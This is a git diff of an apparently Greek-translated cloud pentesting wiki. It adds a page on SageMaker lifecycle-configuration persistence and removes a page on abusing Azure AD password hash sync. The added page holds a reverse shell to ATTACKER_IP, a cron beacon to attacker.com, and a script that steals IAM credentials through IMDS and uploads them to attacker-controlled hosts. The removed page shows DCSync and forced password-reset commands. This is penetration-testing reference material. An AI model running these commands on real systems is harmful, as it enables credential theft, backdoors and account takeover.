diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 17225a2e2..582319269 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -442,11 +442,13 @@ - [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md) - [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md) - [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md) - - [Az- Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md) - - [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md) + - [Az - Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md) - [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md) - [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md) - - [Az - PHS - Password Hash Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md) + - [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md) + - [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md) + - [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md) + - [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md) - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md) - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md) - [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md) diff --git a/src/images/discount.jpeg b/src/images/discount.jpeg new file mode 100644 index 000000000..5c0b098d4 Binary files /dev/null and b/src/images/discount.jpeg differ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md new file mode 100644 index 000000000..e8f53b40c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md @@ -0,0 +1,156 @@ +# AWS - SageMaker Lifecycle Configuration Persistence + +## Overview of Persistence Techniques + +Αυτή η ενότητα περιγράφει μεθόδους για την απόκτηση επιμονής στο SageMaker μέσω της κακής χρήσης των Lifecycle Configurations (LCCs), συμπεριλαμβανομένων των reverse shells, cron jobs, κλοπή διαπιστευτηρίων μέσω IMDS και SSH backdoors. Αυτά τα σενάρια εκτελούνται με τον ρόλο IAM της παρουσίας και μπορούν να παραμείνουν ενεργά κατά τη διάρκεια επανεκκινήσεων. Οι περισσότερες τεχνικές απαιτούν πρόσβαση στο δίκτυο εξόδου, αλλά η χρήση υπηρεσιών στο AWS control plane μπορεί να επιτρέψει επιτυχία αν το περιβάλλον είναι σε λειτουργία 'VPC-only'. +#### Note: SageMaker notebook instances are essentially managed EC2 instances configured specifically for machine learning workloads. + +## Required Permissions +* Notebook Instances: +``` +sagemaker:CreateNotebookInstanceLifecycleConfig +sagemaker:UpdateNotebookInstanceLifecycleConfig +sagemaker:CreateNotebookInstance +sagemaker:UpdateNotebookInstance +``` +* Εφαρμογές Studio: +``` +sagemaker:CreateStudioLifecycleConfig +sagemaker:UpdateStudioLifecycleConfig +sagemaker:UpdateUserProfile +sagemaker:UpdateSpace +sagemaker:UpdateDomain +``` +## Ρύθμιση Διαμόρφωσης Κύκλου Ζωής σε Notebook Instances + +### Παράδειγμα Εντολών AWS CLI: +```bash +# Create Lifecycle Configuration* + +aws sagemaker create-notebook-instance-lifecycle-config \ +--notebook-instance-lifecycle-config-name attacker-lcc \ +--on-start Content=$(base64 -w0 reverse_shell.sh) + + +# Attach Lifecycle Configuration to Notebook Instance* + +aws sagemaker update-notebook-instance \ +--notebook-instance-name victim-instance \ +--lifecycle-config-name attacker-lcc +``` +## Ρύθμιση Διαμόρφωσης Κύκλου Ζωής στο SageMaker Studio + +Οι Διαμορφώσεις Κύκλου Ζωής μπορούν να προσαρτηθούν σε διάφορα επίπεδα και σε διαφορετικούς τύπους εφαρμογών εντός του SageMaker Studio. + +### Επίπεδο Τομέα Studio (Όλοι οι Χρήστες) +```bash +# Create Studio Lifecycle Configuration* + +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-studio-lcc \ +--studio-lifecycle-config-app-type JupyterServer \ +--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) + + +# Apply LCC to entire Studio Domain* + +aws sagemaker update-domain --domain-id --default-user-settings '{ +"JupyterServerAppSettings": { +"DefaultResourceSpec": {"LifecycleConfigArn": ""} +} +}' +``` +### Επίπεδο Χώρου Στούντιο (Ατομικοί ή Κοινόχρηστοι Χώροι) +```bash +# Update SageMaker Studio Space to attach LCC* + +aws sagemaker update-space --domain-id --space-name --space-settings '{ +"JupyterServerAppSettings": { +"DefaultResourceSpec": {"LifecycleConfigArn": ""} +} +}' +``` +## Τύποι Ρυθμίσεων Κύκλου Ζωής Εφαρμογής Studio + +Οι ρυθμίσεις κύκλου ζωής μπορούν να εφαρμοστούν συγκεκριμένα σε διάφορους τύπους εφαρμογών SageMaker Studio: +* JupyterServer: Εκτελεί σενάρια κατά την εκκίνηση του διακομιστή Jupyter, ιδανικό για μηχανισμούς επιμονής όπως αντίστροφες θύρες και cron jobs. +* KernelGateway: Εκτελείται κατά την εκκίνηση της εφαρμογής kernel gateway, χρήσιμο για αρχική ρύθμιση ή μόνιμη πρόσβαση. +* CodeEditor: Εφαρμόζεται στον Επεξεργαστή Κώδικα (Code-OSS), επιτρέποντας σενάρια που εκτελούνται κατά την έναρξη των συνεδριών επεξεργασίας κώδικα. + +### Παράδειγμα Εντολής για Κάθε Τύπο: + +### JupyterServer +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-jupyter-lcc \ +--studio-lifecycle-config-app-type JupyterServer \ +--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) +``` +### KernelGateway +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-kernelgateway-lcc \ +--studio-lifecycle-config-app-type KernelGateway \ +--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh) +``` +### CodeEditor +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-codeeditor-lcc \ +--studio-lifecycle-config-app-type CodeEditor \ +--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh) +``` +### Critical Info: +* Η προσθήκη LCCs σε επίπεδο τομέα ή χώρου επηρεάζει όλους τους χρήστες ή τις εφαρμογές εντός του πεδίου εφαρμογής. +* Απαιτεί υψηλότερες άδειες (sagemaker:UpdateDomain, sagemaker:UpdateSpace) που είναι συνήθως πιο εφικτές σε επίπεδο χώρου παρά σε επίπεδο τομέα. +* Οι έλεγχοι σε επίπεδο δικτύου (π.χ., αυστηρός φιλτράρισμα εξόδου) μπορούν να αποτρέψουν επιτυχείς αντίστροφες θήκες ή εξαγωγή δεδομένων. + +## Reverse Shell via Lifecycle Configuration + +SageMaker Lifecycle Configurations (LCCs) εκτελούν προσαρμοσμένα σενάρια όταν ξεκινούν οι περιπτώσεις σημειωματάριου. Ένας επιτιθέμενος με άδειες μπορεί να εγκαταστήσει μια μόνιμη αντίστροφη θήκη. + +### Payload Example: +``` +#!/bin/bash +ATTACKER_IP="" +ATTACKER_PORT="" +nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 & +``` +## Cron Job Persistence via Lifecycle Configuration + +Ένας επιτιθέμενος μπορεί να εισάγει cron jobs μέσω LCC scripts, εξασφαλίζοντας περιοδική εκτέλεση κακόβουλων scripts ή εντολών, επιτρέποντας τη διακριτική επιμονή. + +### Payload Example: +``` +#!/bin/bash +PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py" +CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH" +CRON_JOB="*/30 * * * * $CRON_CMD" + +mkdir -p /home/ec2-user/SageMaker/.local_tasks +echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH +chmod +x $PAYLOAD_PATH + +(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user - +``` +## Εξαγωγή Διαπιστευτηρίων μέσω IMDS (v1 & v2) + +Οι ρυθμίσεις κύκλου ζωής μπορούν να ερωτήσουν την Υπηρεσία Μεταδεδομένων Συστήματος (IMDS) για να ανακτήσουν διαπιστευτήρια IAM και να τα εξάγουν σε μια τοποθεσία που ελέγχεται από τον επιτιθέμενο. + +### Παράδειγμα Payload: +```bash +#!/bin/bash +ATTACKER_BUCKET="s3://attacker-controlled-bucket" +TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") +ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) +curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json + +# Exfiltrate via S3* + +aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json + +# Alternatively, exfiltrate via HTTP POST* + +curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload +``` + diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md deleted file mode 100644 index 2dfa9f831..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md +++ /dev/null @@ -1,114 +0,0 @@ -# Az - PHS - Password Hash Sync - -{{#include ../../../../banners/hacktricks-training.md}} - -## Basic Information - -[Από τα έγγραφα:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Η συγχρονισμένη καταχώρηση κωδικών πρόσβασης** είναι μία από τις μεθόδους σύνδεσης που χρησιμοποιούνται για την επίτευξη υβριδικής ταυτότητας. **Το Azure AD Connect** συγχρονίζει ένα hash, του hash, του κωδικού πρόσβασης ενός χρήστη από μια τοπική εγκατάσταση Active Directory σε μια cloud-based Azure AD εγκατάσταση. - -
- -Είναι η **πιο κοινή μέθοδος** που χρησιμοποιούν οι εταιρείες για να συγχρονίσουν ένα τοπικό AD με το Azure AD. - -Όλοι οι **χρήστες** και ένα **hash των κωδικών πρόσβασης** συγχρονίζονται από το τοπικό στο Azure AD. Ωστόσο, οι **κωδικοί πρόσβασης σε καθαρό κείμενο** ή οι **αρχικοί** **hashes** δεν αποστέλλονται στο Azure AD.\ -Επιπλέον, οι **ενσωματωμένες** ομάδες ασφαλείας (όπως οι διαχειριστές τομέα...) **δεν συγχρονίζονται** στο Azure AD. - -Ο **συγχρονισμός των hashes** συμβαίνει κάθε **2 λεπτά**. Ωστόσο, από προεπιλογή, η **λήξη κωδικού πρόσβασης** και η **λήξη λογαριασμού** **δεν συγχρονίζονται** στο Azure AD. Έτσι, ένας χρήστης του οποίου ο **τοπικός κωδικός πρόσβασης έχει λήξει** (δεν έχει αλλάξει) μπορεί να συνεχίσει να **έχει πρόσβαση σε πόρους Azure** χρησιμοποιώντας τον παλιό κωδικό πρόσβασης. - -Όταν ένας τοπικός χρήστης θέλει να αποκτήσει πρόσβαση σε έναν πόρο Azure, η **αυθεντικοποίηση πραγματοποιείται στο Azure AD**. - -**PHS** απαιτείται για δυνατότητες όπως η **Προστασία Ταυτότητας** και οι Υπηρεσίες Τομέα AAD. - -## Pivoting - -Όταν το PHS είναι ρυθμισμένο, μερικοί **προνομιακοί λογαριασμοί** δημιουργούνται αυτόματα: - -- Ο λογαριασμός **`MSOL_`** δημιουργείται αυτόματα στο τοπικό AD. Αυτός ο λογαριασμός έχει ρόλο **Λογαριασμών Συγχρονισμού Καταλόγου** (βλ. [τεκμηρίωση](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) που σημαίνει ότι έχει **δικαιώματα αναπαραγωγής (DCSync) στο τοπικό AD**. -- Ένας λογαριασμός **`Sync__installationID`** δημιουργείται στο Azure AD. Αυτός ο λογαριασμός μπορεί να **επαναφέρει τον κωδικό πρόσβασης ΟΠΟΙΟΥΔΗΠΟΤΕ χρήστη** (συγχρονισμένου ή μόνο cloud) στο Azure AD. - -Οι κωδικοί πρόσβασης των δύο προηγούμενων προνομιακών λογαριασμών **αποθηκεύονται σε έναν SQL server** στον διακομιστή όπου **είναι εγκατεστημένο το Azure AD Connect.** Οι διαχειριστές μπορούν να εξάγουν τους κωδικούς πρόσβασης αυτών των προνομιακών χρηστών σε καθαρό κείμενο.\ -Η βάση δεδομένων βρίσκεται στο `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`. - -Είναι δυνατή η εξαγωγή της διαμόρφωσης από έναν από τους πίνακες, με έναν κρυπτογραφημένο: - -`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` - -Η **κρυπτογραφημένη διαμόρφωση** είναι κρυπτογραφημένη με **DPAPI** και περιέχει τους **κωδικούς πρόσβασης του χρήστη `MSOL_*`** στο τοπικό AD και τον κωδικό πρόσβασης του **Sync\_\*** στο AzureAD. Επομένως, η παραβίαση αυτών επιτρέπει την ανύψωση προνομίων στο AD και στο AzureAD. - -Μπορείτε να βρείτε μια [πλήρη επισκόπηση του πώς αποθηκεύονται και αποκρυπτογραφούνται αυτά τα διαπιστευτήρια σε αυτή την ομιλία](https://www.youtube.com/watch?v=JEIR5oGCwdg). - -### Finding the **Azure AD connect server** - -Εάν ο **διακομιστής όπου είναι εγκατεστημένο το Azure AD connect** είναι συνδεδεμένος σε τομέα (συνιστάται στα έγγραφα), είναι δυνατή η εύρεση του με: -```bash -# ActiveDirectory module -Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl - -#Azure AD module -Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"} -``` -### Κατάχρηση MSOL\_* -```bash -# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module -Get-AADIntSyncCredentials - -# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD -runas /netonly /user:defeng.corp\MSOL_123123123123 cmd -Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"' -``` -> [!CAUTION] -> Μπορείτε επίσης να χρησιμοποιήσετε [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) για να αποκτήσετε αυτά τα διαπιστευτήρια. - -### Abusing Sync\_\* - -Η παραβίαση του **`Sync_*`** λογαριασμού επιτρέπει την **επανεκκίνηση του κωδικού πρόσβασης** οποιουδήποτε χρήστη (συμπεριλαμβανομένων των Παγκόσμιων Διαχειριστών) -```bash -# This command, run previously, will give us alse the creds of this account -Get-AADIntSyncCredentials - -# Get access token for Sync_* account -$passwd = ConvertTo-SecureString '' -AsPlainText - Force -$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd) -Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache - -# Get global admins -Get-AADIntGlobalAdmins - -# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID) -Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId - -# Reset the users password -Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose - -# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync) -``` -Είναι επίσης δυνατό να **τροποποιηθούν οι κωδικοί πρόσβασης μόνο των χρηστών του cloud** (ακόμα και αν αυτό είναι απροσδόκητο) -```bash -# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID -# The CloudAnchor is of the format USER_ObjectID. -Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID - -# Reset password -Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers -``` -Είναι επίσης δυνατό να εκχυθεί ο κωδικός πρόσβασης αυτού του χρήστη. - -> [!CAUTION] -> Μια άλλη επιλογή θα ήταν να **ανατεθούν προνομιακές άδειες σε έναν service principal**, τις οποίες ο χρήστης **Sync** έχει **δικαιώματα** να κάνει, και στη συνέχεια να **προσεγγιστεί αυτός ο service principal** ως τρόπος privesc. - -### Seamless SSO - -Είναι δυνατό να χρησιμοποιηθεί το Seamless SSO με το PHS, το οποίο είναι ευάλωτο σε άλλες καταχρήσεις. Ελέγξτε το εδώ: - -{{#ref}} -seamless-sso.md -{{#endref}} - -## Αναφορές - -- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs) -- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) -- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf) -- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8) - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/theme/ai.js b/theme/ai.js index 13337c3f1..02f51127e 100644 --- a/theme/ai.js +++ b/theme/ai.js @@ -1,3 +1,104 @@ +/** + * HackTricks Training Discounts + */ + + +(() => { + const KEY = 'htSummerDiscountsDismissed'; + const IMG = '/images/discount.jpeg'; + const TXT = 'Click here for HT Summer Discounts, Last Days!'; + const URL = 'https://training.hacktricks.xyz'; + + /* Stop if user already dismissed */ + if (localStorage.getItem(KEY) === 'true') return; + + /* Quick helper */ + const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css }); + + /* --- Overlay (blur + dim) --- */ + const overlay = $('div', ` + position: fixed; inset: 0; + background: rgba(0,0,0,.4); + backdrop-filter: blur(6px); + display: flex; justify-content: center; align-items: center; + z-index: 10000; + `); + + /* --- Modal --- */ + const modal = $('div', ` + max-width: 90vw; width: 480px; + background: #fff; border-radius: 12px; overflow: hidden; + box-shadow: 0 8px 24px rgba(0,0,0,.35); + font-family: system-ui, sans-serif; + display: flex; flex-direction: column; align-items: stretch; + `); + + /* --- Title bar (link + close) --- */ + const titleBar = $('div', ` + position: relative; + padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */ + text-align: center; + background: #222; color: #fff; + font-size: 1.3rem; font-weight: 700; + `); + + const link = $('a', ` + color: inherit; + text-decoration: none; + display: block; + `); + link.href = URL; + link.target = '_blank'; + link.rel = 'noopener noreferrer'; + link.textContent = TXT; + titleBar.appendChild(link); + + /* Close "X" (no persistence) */ + const closeBtn = $('button', ` + position: absolute; top: .25rem; right: .5rem; + background: transparent; border: none; + color: #fff; font-size: 1.4rem; line-height: 1; + cursor: pointer; padding: 0; margin: 0; + `); + closeBtn.setAttribute('aria-label', 'Close'); + closeBtn.textContent = '✕'; + closeBtn.onclick = () => overlay.remove(); + titleBar.appendChild(closeBtn); + + /* --- Image --- */ + const img = $('img'); + img.src = IMG; img.alt = TXT; img.style.width = '100%'; + + /* --- Checkbox row --- */ + const label = $('label', ` + display: flex; align-items: center; justify-content: center; gap: .6rem; + padding: 1rem; font-size: 1rem; color: #222; cursor: pointer; + `); + const cb = $('input'); cb.type = 'checkbox'; cb.style.scale = '1.2'; + cb.onchange = () => { + if (cb.checked) { + localStorage.setItem(KEY, 'true'); + overlay.remove(); + } + }; + label.append(cb, document.createTextNode("Don't show again")); + + /* --- Assemble & inject --- */ + modal.append(titleBar, img, label); + overlay.appendChild(modal); + + if (document.readyState === 'loading') { + document.addEventListener('DOMContentLoaded', () => document.body.appendChild(overlay), { once: true }); + } else { + document.body.appendChild(overlay); + } +})(); + + + + + + /** * HackTricks AI Chat Widget v1.16 – resizable sidebar * ---------------------------------------------------